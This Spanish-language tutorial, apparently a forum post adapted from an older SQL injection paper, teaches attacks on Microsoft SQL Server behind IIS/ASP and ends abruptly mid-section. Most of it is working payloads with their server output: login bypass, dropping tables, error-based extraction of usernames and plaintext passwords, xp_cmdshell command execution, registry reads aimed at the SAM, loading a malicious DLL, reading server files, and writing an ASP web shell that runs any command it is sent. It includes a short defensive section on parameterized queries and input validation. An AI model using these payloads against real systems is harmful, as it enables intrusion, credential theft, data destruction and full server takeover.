Sunteți pe pagina 1din 25

Bueno este pequeño aporte sera de SQL avanzada orientada al Servidor SQL/Microsoft

Internet Information Server/Active Server Pages. Se intentara ver mas de una manera de
hacer SQL y no la tipica de ' OR ''=' ademas de tambien intentar evitar que nosotros
semaos los afectados.

La idea original de este tutorial salio de nextgenss un usuario ingles que actualmente
creo anda retirado y yo intentare seguir con sus explicaciones aunque no se me da
extremadamente bien eso de escribir pero si lo de contestara en cualquier momento

INTRODUCCION
SQL (Structured Query Language) es un lenguaje de texto utilizado para interactuar con
bases de datos relacionales.
Existen varios tipos (normalmente son SQL-92 que es el standard ASCI mas reciente)
La unidad fundamental de ejecución en SQL es la consulta, la cual es una serie de
sentencias que básicamente devuelven un unuico resultado. Las sentencias SQL pueden
modificar la estucctura de la base de datos (usando DML "Data Manipulation
Lenguaje").
Bueno para acabar esta pequeña intro solo me queda por decir que estaremos usando
Trnsact-SQL (el dialecto de SQL de los servidores de Microsoft SQL)

¿Que entendemos por inyección SQL?


Por inyección SQL entendemos el acto de insertar una serie de sentencias SQL en una
'consulta' mediante la manipulación de la entrada de datos de una aplicación.
-Una sentencia SQL típica sería algo como esto:
Código: [Seleccionar]
select id, nombre, contraseña from users
Esta sentencia devolvería las columnas 'id', 'nombre' y 'contraseña' de todas las filas de
la tabla 'autores'. Para restringir el resultado obtenido a un autor específico
utilizaríamos:

Código: [Seleccionar]
select id, nombre, nick from users where nombre = 'mauro'
and nick = 'mrobles'

Algo importante es que las cadenas 'Mauro' y 'Mrobles' aparecen entre comillas dado
que son cadenas literales. Supongamos que el 'nombre' y el 'nick' son obtenidos como
respuesta a la entrada de datos por parte del usuario, un atacante podria inyectar un
codigo SQL en esa conslta y solicitar los siguientes valores:

Código: [Seleccionar]
Nombre: mau'ro
Nick: mrobles

La cadena de consulta quedaría así:

Código: [Seleccionar]
select id, nombre, nick from users where nombre = 'mau'ro' and
nick = 'mrobles';

Cuando se intente ejecutar nos dara probablemente lo siguiente:

Código: [Seleccionar]
Server: Msg 170, Level 15, State 1, Line 1
Line 1: Incorrect syntax near 'ro'.

Es muy facil saber porque sucede esto, al insertar un único caracter de comilla simple
los datos delimitadores escapan (al poner un solo ' no se acaba el codigo correctamente).
Entonces se intentara ejecutar 'ro' y se obtiene el error.
Si el atacante introduce una cadena similar a esta:

Código: [Seleccionar]
Nombre: jo' ; drop table users--
Apellido:

La tabla de users se borraria XD pero no es muy probable que se pueda aunque no


imposible (comprobado xD).
Para evitar esto solo habria que eliminar la posibilidad de poner comillas simples en la
consulta, ¿facil no? Pues no, XD existen varios problemas, primero, no todos los datos
proporcionados por el usuario estarín en forma de cadena. Si por ejemplo, puedes
seleccionar un usuarios por su ID, nuesta consulta podría ser algo como esto:
Código: [Seleccionar]
select id, nombre, nick from usuarios where id = 1234
En este caso el atacante puede simplemente anexar una sentencia SQL al final de la
entrada numérica. En otros dialectos SQL se utilizan distintos delimitadores; en el
motor Jet DBMS de Microsoft, por ejemplo, los datos pueden delimitarse con el
carácter #. Por ello el método de escapar las comillas simples no resulta necesariamente
la solución definitiva que pensamos en un primer momento.

Ilustraremos todos estos detalles utilizando para ello una página de login de ejemplo
desarrollada en ASP, la cual accederá a una base de datos SQL simulando el mecanismo
de autentificación de una aplicación ficticia.

Este será el código del formulario de la página, en el cual el cliente deberá introducir el
nombre de usuario y la contraseña: (El code es de nextgenss)

Código: [Seleccionar]
<HTML>
<HEAD>

<TITLE>Página de Login</TITLE>
</HEAD>

<BODY bgcolor='000000' text='cccccc'>


<FONT Face='tahoma' color='cccccc'>

<CENTER><H1>Login</H1>

<FORM action='process_login.asp' method=post>


<TABLE>
<TR><TD>Usuario:</TD><TD><INPUT type=text name=usuario size=100%
width=100></INPUT></TD></TR>
<TR><TD>Contrase&ntilde;a:</TD><TD><INPUT type=password name=password
size=100%
width=100></INPUT></TD></TR>
</TABLE>
<INPUT type=submit value='Enviar'> <INPUT type=reset value='Borrar'>
</FORM>

</FONT>
</BODY>
</HTML>

Y este será el código para el script 'process_login.asp', el cual maneja el intento de


autentificación:
Code:

Código: [Seleccionar]
<HTML>
<BODY bgcolor='000000' text='ffffff'>
<FONT Face='tahoma' color='ffffff'>

<STYLE>
      p { font-size=20pt ! important}
      font { font-size=20pt ! important}
      h1 { font-size=64pt ! important}
</STYLE>
<%@LANGUAGE = JScript %>

<%

function trace( str )


{
      if( Request.form("debug") == "true" )
          Response.write( str );
}

function Login( cn )
{
      var username;
      var password;

      username = Request.form("usuario");
      password = Request.form("password");

      var rso = Server.CreateObject("ADODB.Recordset");

      var sql = "select * from users where username = '" + usuario +


"'
      and password = '" + password + "'";

      trace( "query: " + sql );

      rso.open( sql, cn );

      if (rso.EOF)
      {
           rso.close();
%>
<FONT Face='tahoma' color='cc0000'>
<H1>
<BR><BR>
<CENTER>ACESO DENEGADO</CENTER>
</H1>
</BODY>
</HTML>
<%

           Response.end return;
      }
      else
      {
           Session("usuario") = "" + rso("usuario");
%>
<FONT Face='tahoma' color='00cc00'>
<H1>
<CENTER>ACESO PERMITIDO
<BR>
<BR>
Bienvenido,
<%         
           Response.write(rso("Usuario"));
           Response.write( "</BODY></HTML>" );
           Response.end
      }
}
function Main()
{
      //Set up connection

      var usuario
      var cn = Server.createobject( "ADODB.Connection" );
      cn.connectiontimeout = 20;
      cn.open( "localserver", "sa", "password" );

      usuario = new String( Request.form("usuario") );

      if( username.length > 0)


      {
           Login( cn );
      }

      cn.close();
}

Main();
%>

He aquí la parte crítica de 'process_login.asp' en la cual se crea la 'cadena de consulta':


Código: [Seleccionar]
var sql = "select * from users where username = '" + usuario + "'
and password = '" + password + "'";

Si el atacante introduciera lo siguiente: (lo mismo que en el ejemplo de antes)

Código: [Seleccionar]
Usuario: ' ; drop table usuarios--
Password:

Se borrará la tabla de usuarios, denegando el acceso a las aplicaciones al los usuarios.


La secuencia de carácteres '--' se corresponde, en Transcat-SQL, con el inicio de un
'comentario de una sola línea' y el carácter ';' denota el final de una sentencia y el
comienzo de otra. El '--' al final del campo de usuario es necesario para evitar que la
consulta termine sin provocar un error.

Tambien el atacante podrá autentificarse como cualquier usuario, si conoce el nombre


de alguna persona dada de alta en la aplicación, utilizando la siguiente entrada:

Código: [Seleccionar]
Usuario: admin' --

El atacante se estaría autentificando como el primer usuario de la tabla 'usuarios' con la


siguiente entrada:

Código: [Seleccionar]
Usuario: ' or 1 = 1--

Y lo mas divertido es que tambien se podra logear como un usuario inexistente con la
siguente consulta:
Código: [Seleccionar]
Usuario: ' union select 1, 'USUARIOINVENTADO', 'CUALQUIER CONTRASEÑA',
1--
Esto funciona debido a que la fila 'constante' que el atacante está especificando que será
parte del registro recuperado de la base de datos.

Obteniendo información mediante los Mensajes de Error


Esta técnica fuí descubierta por David Litchfield . Esta sección describe el mecanismo
subyacente a la técnica del 'mensaje de error', esperando que el lector pueda entenderla
y potencialmente crear variaciones propias.

Con el objetivo de manipular los datos de una base de datos el atacante deberá primero
determinar la estructura de determinadas tablas y bases de datos. Por ejemplo, la tabla
'usuarios' podría haber sido creada utilizando el siguiente comando:

Código: [Seleccionar]
create table usuarios{
   id int,
        usuario varchar(255),
   password varchar(255),
   privs int
}
y se habrían introducido los siguientes usuarios:

Código: [Seleccionar]
insert into usuarios values (0, 'admin', 'r00tr0x!', 0xffff);
insert into usuarios values (0, 'guest', 'guest', 0x0000);
insert into usuarios values (0, 'chris', 'password', 0x00f);
insert into usuarios values (0, 'fred', 'sesamo', 0x00f);

Imaginemos que nuestro atacante desea crearse una cuenta de usuario. Sin conocer la
estructura de la tabla 'usuarios' es bastante improbable que lo consiga. Aún teniendo
suerte, el significado del campo 'privs' no está del todo claro. El atacante podría insertar
un '1' y obtener una cuenta con escasos privilegios en la aplicación cuando lo que quería
era facilitarse el acceso con privilegios administrativos.

Afortunadamente para el atacante si la aplicación devuelve mensajes de error (el


comportamiento predeterminado de ASP) podrá determinar la estructura completa de la
base de datos y leer cualquier valor que pueda ser obtenido por la aplicación ASP
utilizada para conectar con el servidor SQL.

(El siguiente ejemplo utiliza la base de datos y los scripts .asp de ejemplo para mostrar
como funciona esta técnica).

Primero, el atacante querrá determinar los nombres de las tablas utilizadas en las
consultas y los nombres de los campos. Para hacerlo el atacante utilizará la clausula
'having' de la sentencia 'select':

Código: [Seleccionar]
Usuario: ' having 1= 1--

Esto provocará el siguiente error:

Código: [Seleccionar]
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'usuarios.id' is


invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.

/process_login.asp, line 35

Ahora ya conoce el nombre de la tabla y la primera columna de la consulta. Podrá


averiguar el resto de columnas introduciendo cada uno de los campos que vaya
descubriendo en una clasula 'group by' como la siguiente:
Código: [Seleccionar]
Usuario: ' group by usuarios.id having 1 = 1--

Que nos dara el siguiente error

Código: [Seleccionar]
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column


'usuarios.usuario'
is invalid in the select list because it is not contained in either an
aggregate function or the GROUP BY clause.

/process_login.asp, line 35

Llegara al campo usuario:

Código: [Seleccionar]
' group by usuarios.id, usuarios.usuario, usuarios.password,
usuarios.privs
having 1=1--

Que no producirra ningun error y es igual que:


Código: [Seleccionar]
select * from usuarios where usuario = ''

Ahora el atacante conoce que la consulta está utilizando únicamente la tabla 'usuarios' y
las columnas 'id, usuario, password, privs', en este orden.

Sería útil si pudiese determinar el tipo de cada una de las columnas. Esto podrá
obtenerse utilizando un mensaje de error provocado por una 'conversión de tipo', con
algo parecido a esto:

Código: [Seleccionar]
Usuario: ' union select sum(usuario) from usuarios--

La sentencia anterior se aprovecha de que el servidor SQL intentarí aplicar la clausula


'sum' antes de determinar si el número de campos en las dos filas es equivalente. El
intento de calcular la suma de un campo de texto provocará el siguiente mensaje:

Código: [Seleccionar]
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average


aggregate operation cannot take a varchar data type as an argument.

/process_login.asp, line 35

Que nos indica que el campo 'usuario' es de tipo 'varchar'. Si, por otra parte, intentamos
calcular la suma de un tipo numérico obtendríamos un mensaje de error indicando que
el número de campos de las dos filas no coincide:

Código: [Seleccionar]
Usuario: ' union select sum(id) from usuarios--

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL


statement containing a UNION operator must have an equal number of
expressions in their target lists.

/process_login.asp, line 35

Podremos utilizar esta técnica para determinar de forma aproximada el tipo de cualquier
columna de cualquier tabla de la base de datos:

Esto permitirá al atacante crear una consulta 'insert' correcta, similar a la siguiente:
Código: [Seleccionar]
usuario: '; insert into usuarios values (666, 'atacante', 'foobar',
0xffff)--

Sin embargo, el potencial de esta técnica no acaba aquí. El atacante podrá aprovecharse
de cualquier mensaje de error que revele información sobre el entorno de la base de
datos. Puede obtenerse una lista de las cadenas de formato correspondientes a los
mensajes de error ejecutando:

Código: [Seleccionar]
select * from master..sysmessages

Examinando la lista descubriremos mensajes muy interesantes.

Un mensaje especial muy útil revela la conversión de tipo. Si usted intenta convertir una
cadena en un entero el contenido completo de la cadena es devuelto en el mensaje de
error. En nuestra página de login de ejemplo el siguiente nombre de usuario devolverá
la versión del servidor SQL y el sistema operativo en el cual se está ejecutando:
Código: [Seleccionar]
Usuario: ' union select @@version,1,1,1--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting


the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
Aug
6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation
Enterprise
Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column
of
data type int.

/process_login.asp, line 35
Esto intentará convertir la constante '@@version' en un entero dado que la primera
columna de la tabla 'usuarios' es un entero.

Esta técnica puede utilizarse para leer cualquier valor en cualquier tabla de la base de
datos. Dado que el atacante está interesado en los usuarios y sus contraseñas podrá
utilizarla para obtener los nombres de usuarios de la tabla 'usuarios' con algo como:
Código: [Seleccionar]
Usuario: ' union select min(usuario),1,1,1 from usuarios where usuario
> 'a'--

Esto seleccionará el nombre de usuario inmediatamente superior a 'q' e intentará


covertirlo en un entero:
Código: [Seleccionar]
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting


the varchar value 'admin' to a column of data type int.

/process_login.asp, line 35

En este momento el atacante sabe que existe una cuenta 'admin'. Ahora podrá iterar a
través de las filas de la tabla utilizando cada nuevo usario que descubra en la clausula
'where':
Código: [Seleccionar]
usuario: ' union select min(usuario),1,1,1 from usuarios where usuario
> 'admin'--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting


the varchar value 'chris' to a column of data type int.

/process_login.asp, line 35

Una vez el atacante conozca los nombres de usuario podrá empezar a obtener sus
contraseñas:
Código: [Seleccionar]
Usuario: ' union select password,1,1,1 from usuarios where usuario =
'admin'--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting


the varchar value 'r00tr0x!' to a column of data type int.

/process_login.asp, line 35

Una técnica más elegante consiste en concatenar todos los nombres de usuario y
contraseñas en una única cadena e intentar entonces convertirla en un entero. Esto se
aprovecha de otra característica: las sentencias Transact-SQL pueden introducirse en
una misma línea sin por ello alterar su significado. El siguiente script concatenará los
valores:

Código: [Seleccionar]
begin declare @ret varchar(8000)
set @ret=':'
select @ret = @ret+' '+usuario+'/'+password from usuarios where
usuario > @ret
select @ret as ret into foo
end

El atacante utilizará entonces el siguiente 'usuario' (todo en una línea, obviamente):

Código: [Seleccionar]
Usuario: '; begin declare @ret varchar(8000) set @ret = ':' select
@ret = @ret+' '+usuario+'/'+password from usuarios where usuario >
@ret
select @ret as ret into foo end--

Esto creará una tabla 'foo' la cual contendrá una única columna 'ret' y situará nuestra
cadena en ella. Normalmente aunque se trate de un usuario con escasos privilegios será
capaz de crear una tabla en una base de datos de ejemplo, o en una tabla temporal.

El atacante seleccionará entonces la cadena de la tabla utilizando:

Código: [Seleccionar]
Usuario: ' union select ret,1,1,1 from foo--

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting


the varchar value ': admin/r00tr0x! guest/guest chris/password
fred/sesamo' to a column of data type int.

/process_login.asp, line 35

Y se las arreglará para borrarla:


Código: [Seleccionar]
usuario: '; drop table foo--

Estos ejemplos apenas muestran un ínfima parte de las posibilidades de esta técnica. No
hay ni que mencionar que, si el atacante puede obtener información útil de los mensajes
de error de la base de datos, su trabajo sera obviamente más sencillo.

Proporcionándose acceso continuado


Ya hemos conseguido acceso, ¿y ahora que? cada vez que queramos entrar tendremos
que hacer todo esto? Pues que coñazo yo me retiro XD Tranquilo amigo que hay varios
metodos para tener acceso continuado a trávez de la red:

1. Utilizando el procedimiento almacenado xp_cmdshell para ejecutar comandos en el


servidor SQL como el usuario SQL.

2. Utilizando el procedimiento almacenado xp_regread para leer claves del registro


incluyendo, potencialmente, la SAM (si el servidor SQL está ejecutándose bajo la
cuenta local system).

3. Utilizando otros procedimientos almacenados para dominar el servidor.

4. Ejecutando consultas en servidores enlazados.


5. Creando procedimientos almacenados persoalizados para ejecutar código maligno
desde el proceso del servidor SQL.

6. Utilizando la sentencia 'bulk insert' para leer cualquier archivo del servidor.

7. Utilizando bcp para crear archivos de texto arbitrario en el servidor.

8. Utilizando los procedimientos almacenados sp_OACreate, sp_OAMethod y


sp_OAGetProperty para crear aplicaciones de código OLE (ActiveX) que puedan hacer
todo aquello que le está permitido al script ASP.

Estas son las más comunes, aunque existen otras y es muy posible que un intruso las
utilice.
Esta es una coleccion de ataques obvios contra un servidor SQL y ahora os detallo una a
una toda la lista.

xp_cmdshell
Los procedimientos estan almacenados en DLLs (Dinamic Link Libraries) que el
servidor SQL utiliza mediante llamadas específicas para ejecutar funciones exportadas.
Asi las aplicaciones del servidor SQL puede usar la potencia de C/C++. Un gran
número de estos procedimientos almacenados los proporciona el propio servidor SQL y
realizan funciones variadas como enviar correos e interactuar con el registro.

xp_cmdshell es un procedimiento almacenado incorporado en el servidor y que permite


ejecutar líneas arbitrarias de comandos. Por ejemplo:
Code:

exec master..xp_cmdshell 'dir'


obtendremos una lista con los directorios actuales del proceso del servidor SQL o si
ponemos:
Code:

exec master..xp_cmdsehll 'net1 user'

proporcionará una lista de todos los usuarios del sistema. Dado que el servidor se
ejecuta normalmente bajo la cuenta de 'local system', o usuario del dominio' un atacante
podrá obtener un gran provecho de esta caracterástica.

xp_regread
Otro conjunto de procedimientos almacenados incorporados al servidor son las
funciones xp_reg
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite

Algunos ejemplos del uso de estas funciones:

Código: [Seleccionar]
exec xp_regread HKEY_LOCAL_MACHINE,
'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters',
'nullsessionshares'

(determina si se permiten las sesiones nulas en el servidor)


Código: [Seleccionar]
exec xp_regenumvalues HKEY_LOCAL_MACHINE,
'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'

(revelará todas las comunidades SMNP configuradas en el servidor. Con esta


informacián un atacante probablemente podrá obtener las características de
configuración en el segmento de red, dado que las comunidades SNMP tienden a ser
raramente modificadas y compartidas entre varios equipos)

Es fácil imaginar como un atacante podría utilizar estas funciones para leer la SAM,
cambiar la configuración de un servicio del sistema de forma que se inicie la proxima
vez que la máquina sea reiniciada o ejecutar un comando arbitrario cuando algún
usuario se autentifique en el servidor.

otros procedimientos almacenados


El procedimiento xp_servicecontrol permite a un usuario iniciar, parar y reiniciar
servicios:
Código: [Seleccionar]
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'

He aquí una breve lista de otros procedimientos almacenados que podrían resultar de
utilidad:

xp_availablemedia muestra los dispositivos disponibles en el sistema.

xp_dirtree permite obtener un listado de un árbol de directorios.

xp_enumdsn enumera las fuentes de datos disponibles ODBC en el servidor.

xp_loginconfig muestra información sobre el modelo de seguridad del servidor.

xp_makecab permite a un usuario crear archivos comprimidos en el servidor (o


cualquier fichero al que el servidor pueda acceder).

xp_ntsec_enumdomains enumera los dominios a los que puede acceder el servidor.


xp_terminate_process finaliza un proceso, proporcionándosele su PID.
Servidore enlazados
El servidor SQL proporciona un mecanismo mediante el cual permite 'enlazar' otros
servidores, esto es, permite efectuar una consulta en un servidor para manipular los
datos en otro. Estos enlaces estan almacenados en la tabla master..sysservers. Si se ha
agregado un enlace a un servidor utilizando el procedimiento 'sp_adlinkedsrvlogin', se
habrá creado un enlace previamente autentificado a través del cual podrá accederse sin
necesidad de realizar login alguno. La función 'openquery' permitirá ejecutar las
consultas en el servidor enlazado.

Procedimientos almacenados personalizados


El API para los procedimientos almacenados es relativamente sencilla por lo que no
resultará dificil crear un procedimiento almacenado como una DLL que incorpore
código malicioso. Existen diversos métodos que
permitirón subir esta DLL al servidor SQL mediante líneas de comandos y los que
precisan de otros mecanismos de comunicación como descargas HTTP y scripts FTP.

Una vez se haya subido la DLL a una máquina a la que el servidor SQL pueda acceder -
no tiene necesariamente que ser el propio servidor SQL - el atacante podrá agregar el
nuevo procedimiento utilizando el siguiente
comando (en este caso nuestro procedimiento malicioso consiste en un pequeño troyano
que exportará los sistemas de ficheros a través de un servidor web):
Código: [Seleccionar]
sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'

A partir de este momento podrá ejecutarse el procedimiento almacenado en la forma


habitual:

Código: [Seleccionar]
exec xp_webserver

Una vez haya sido ejecutado podrá eliminarse así:


Código: [Seleccionar]
sp_dropextendedproc 'xp_webserver'

Importando ficheros de texto en tablas


Utilizando la sentecia 'bulk insert' es posible insertar el texto de un fichero en una tabla
temporal. Simplemente se deberá crear la tabla tal que así:

Código: [Seleccionar]
create table foo( line varchar(8000) )

...y ejecutar entonces un bulk insert para importar los datos desde el archivo:

Código: [Seleccionar]
bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'

...podrán obtenerse los datos utilizando cualquiera de las técnicas de mensajes de error
desarrolladas anteriormente, o mediante una 'union' de sentencias select, combinando el
contenido del fichero de texto con los datos que son devueltos de forma habitual por la
aplicación. Esto puede resultar útil para obtener el código de los scripts almacenados en
el servidor de la base de datos o, posiblemente, para obtener el código de las páginas
ASP.

Creando ficheros de texto utilizando BCP


Resulta relativamente sencillo crear ficheros de texto arbitrarios utilizando la técnica
opuesta al 'bulk insert'. Desgraciadamente esto requiere un herramienta de línea de
comandos, 'bcp'.

Dado que bcp accede a la base de datos desde fuera del proceso del servidor SQl
necesita autentificación. Esto no resultará dificil dado que el atacante podrá crearse uno
sin dificultad, o aprovecharse del modelo de seguridad 'integrado' si el servidor lo
tuviera configurado.

El formato de la línea de comandos necesaria sería así:

Código: [Seleccionar]
bcp "SELECT * FROM test..fo" queryout
C:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

El parámetro 'S' indica el servidor en el que se deberá ejecutar la consulta, la 'U' el


nombre de usuario y la 'P' es la contraseña, 'foobar' en este caso.

Scripts ActiveX para la automatización en el servidor SQL


La mayoría de procedimientos almacenados han sido integrados para permitir la
creacion de scripts ActiveX de automatización en el servidor SQL. Estos scripts son
funcionalmente similares a aquellos creados utilizando windows scripting host o ASP -
estan normalmente escritos en VBScript o JavaScript y proporcionan objetos que
permiten la automatización e interactuar con ella. Un script de automatización escrito en
Transact-SQL podrá hacer todo aquello que un script ASP o WSH pueda hacer. A
continuación proporcionaremos algunos ejemplos para facilitar la comprensión de
nuestras palabras.

1)En este ejemplo utiliza el objeto 'wscript.shell' para crear una instancia del notepad
(que por supuesto podría sustituirse por cualquier otro comando):

Código: [Seleccionar]
-- wscript.shell example
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'

En el escenario propuesto podría ejecutarse especificando el siguiente usuario (todo en


una única línea):
Código: [Seleccionar]
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'--

2) En este ejemplo utiliza el objeto 'scripting.filesystemobject' para leer un archivo de


texto conocido:

Código: [Seleccionar]
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
 exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
   print @line
   exec @ret = sp_oamethod @f, 'readline', @line out
end

3)En este ejemplo se crea un script ASP que puede ejecutar cualquier comando que
reciba a través de la cadena de consulta:

Código: [Seleccionar]
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out,
'c:\inetpub\wwwroot\foo.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,
   '<% set o = server.createobject("wscript.shell"): o.run(
request.querystring("cmd") ) %>'

Es importante destacar que cuando se utilice en una platraforma IIS4 en un sistema


Windows NT4, los comandos lanzados por este script ASP se ejecutaran bajo la cuenta
'system'. Sin embargo, en un IIS5 lo haran bajo la escasamente privilegiada cuenta de
IWAM_xxx.

4) En este ejemplo (algo poco útil) se muestra la flexibilidad de esta técnica; se utiliza el
objeto 'speech.voicetext' provocando que el servidor SQL hable:

Código: [Seleccionar]
declare @o int, @ret int
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'
exec sp_oasetproperty @o, 'speed', 150
exec sp_oamethod @o, 'speak', NULL, 'todos tus servidores
nos pertenecen', 528
waitfor delay '00:00:05'

Esto podría ejecutarse en el escenario propuesto especificando el siguiente usuario (note


que en el ejemplo no solo se está inyectando código SQL sino que paralelamente nos
estremos autentificando en la aplicación como 'admin'):

Código: [Seleccionar]
Usuario: admin'; declare @o int, @ret int exec sp_oacreate
'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'foo', 'bar' exec
sp_oasetproperty @o, 'speed'
 150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are
belong to us', 528
waitfor delay '00:00:05'--

Procedimientos almacenados
La creencia general es que si una aplicación ASP utiliza procedimientos almacenados
en la base de datos entonces la inyección SQL no es posible. Esto es una verdad a
medias y dependerá de la forma en la que el script ASP llame a dichos procedimientos.

Básicamente, si se ejcuta una solicitud parametrizando los datos indicados por el


usuario antes de pasarselos al procedimiento almacenado entonces la inyección SQL
sería imposible. Si embargo si el atacante puede imprimir una cierta influencia sobre las
partes que no constituyan los datos propiamente dichos de la cadena de consulta a
utilizar, es muy posible que llegue a ser capaz de adquirir el control sobre la base de
datos.

Las reglas generales son:

Si el script ASP crea la cadena de consulta que es enviada al servidor SQL este es
vulnerable a la inyección SQL aúnque se utilicen procedimientos almacenados.

Si el script ASP utiliza un objeto que realice la asignación de parámetros al


procedimiento almacenado (como el objeto ADODB utilizado con una colección de
parámetros) estará generalmente, a salvo, siempre dependiendo de la implementación de
los objetos que se utilicen.

Obviamente la mejor solución pasa siempre por validar los datos proporcionados por el
usuario, dado que diariamente se descubren nuevas técnicas.

Como muestra de una cadena de inyección a un procedimiento almacenado ejecute la


siguiente consulta SQL:
Código: [Seleccionar]
sp_who '1' select * from sysobjects

Código: [Seleccionar]
sp_who '1'; select * from sysobjects

De una u otra form la consulta anexada seguirá ejecutándose después del procedimiento
almacenado.

Inyección SQL avanzada


A menudo las aplicaciones web escaparón el carácter de comilla simple (u otros) y
controlarón los datos enviados por el usuario por ejemplo, limitando su tamaño.

En esta sección le mostraremos algunas técnicas que ayudará al atacante a burlar


algunos de los muchos métodos de defensa frente a la inyección SQL y que evitará su
registro la mayoría de las veces.

[Cadenas sin comillas]


Ocasionalmente los dessarrolladores intentarón proteger sus aplicaciones escapando los
carácteres de comillas simples, quizás utilizando la función 'replace' de VBScript o
alguna similar:
Código: [Seleccionar]
function escape( input )
    input = replace(input, "'", "''")
    escape = input
end function

Admitámoslo, esto prevendrá la mayoría de los ataques que hemos expuesto hasta el
momento con nuestro sitio de ejemplo. Sin embargo en grandes aplicaciones es fácil
suponer que en algún momento se deberá proporcionar datos de tipo numérico. Estos
valores no precisan delimitadores y estarían proporcionando un punto en el que el
atacante podría inyectar código SQL.

Si el atacante quisiera crear una cadena sin utilizar comillas podría utilizar la función
char. Por ejemplo:

Código: [Seleccionar]
insert into users values( 666,
   char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
   char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
   0xffff)

...esta es una consulta que sin utilizar comillas permitiría insertar cadenas en una tabla.

De acuerdo, si al atacante no le importase utilizar un usuario y contraseña numéricos la


siguiente sentencia le resultaría de utilidad:

Código: [Seleccionar]
insert into users values( 667, 123, 123, 0xffff)
Dado que el servidor SQL convertirá de forma automática los enteros en valores
'varchar' el tipo de conversión es implícita.

Inyección SQL mediante reutilización de datos


Aunque una aplicación escapase las comillas simples un atacante podría inyectar código
SQL siempre que el servidor reutilizase los datos.
Por ejemplo, un atacante podría registrarse en la aplicación creando el siguiente usuario

Código: [Seleccionar]
usuario: admin'--
Password: password

La aplicación escaparía correctamente la comilla simple resultando una sentencia


insertcomo la siguiente:

Código: [Seleccionar]
insert into users values( 123, 'admin''--', 'password', 0xffff )

Sin embargo todos sabemos que la mayoría de aplicaciones permiten al usuario


modificar su contraseña. El script ASP se asegurará primero de que la vieja contraseña
sea la adecuada. El código podría ser algo así:

Código: [Seleccionar]
usuario = escape( Request.form("usuario") );
oldpassword = escape( Request.form("oldpassword") );
newpassword = escape( Request.form("newpassword") );

var rso = Server.CreateObject("ADODB.Recordset");

var sql = "select * from usuarios where usuario = '" + usuario + "'
and
password = '" + oldpassword + "'";

rso.open( sql, cn );

if (rso.EOF)
{

La consulta para establecer la nueva contraseña quedaría:


Código: [Seleccionar]
sql = "update users set password = '" + newpassword + "' where usuario
= '" + rso("usuario") + "'"

rso("usuario") es el nombre de usuario obtenido de la sentencia de


autentificación.

Proporcionando el usuario admin'-- la consulta quedaría:


Código: [Seleccionar]
update users set password = 'password' where usuario = 'admin'--'

Este es un peligroso problema presente en la mayoría de aplicaciones que intentan


escapar los datos. La mejor solución sería devolver cualquier entrada incorrecta en lugar
de simplemente intentar modificarla. Esto puede resultar problemático, dado que en
algunas ocasiones los carácteres peligrosos resultan necesarios como (por ejemplo) en el
caso de los nombres con apóstrofos; por ejemplo

O'Brien

Desde la perspectiva de la seguridad la major forma de solucionar esto es simplemente


asumir que las comillas simples no estan permitidas. Si esto no es posible deberemos
escaparlas; en este caso lo mejor es asegurarse que todos los datos que conformen la
cadena de consulta SQL (incluyendo los datos obtenidos de la base de datos) son
manejados correctamente.

Este tipo de ataques es incluso posible si el atacante puede introducir datos en el sistema
sin necesidad de utilizar la aplicación; la aplicación tal vez tenga una interfaz para
manejar el correo eléctronico, o quizás un archivo de registro de errores sobre el que el
atacante pueda ejercer algun tipo de control. Es mejor verificar todos los datos,
incluyendo los datos que esten en el sistema - la función que realice la validación debe
ser simple de utilizar, por ejemplo

Código: [Seleccionar]
if ( not isValid( "email", request.querystring("email") ) then
   response.end

...o algo similar.


[Restricciones de tamaño]
Algunas veces el tamaño asignado para los datos de entrada estará restringido de forma
que dificulte los ataques; aunque esto restrinja un gran número de ataques aún podrá
hacerse un gran daño utilizando pequeñas consultas SQL. Por ejemplo el usuario

Código: [Seleccionar]
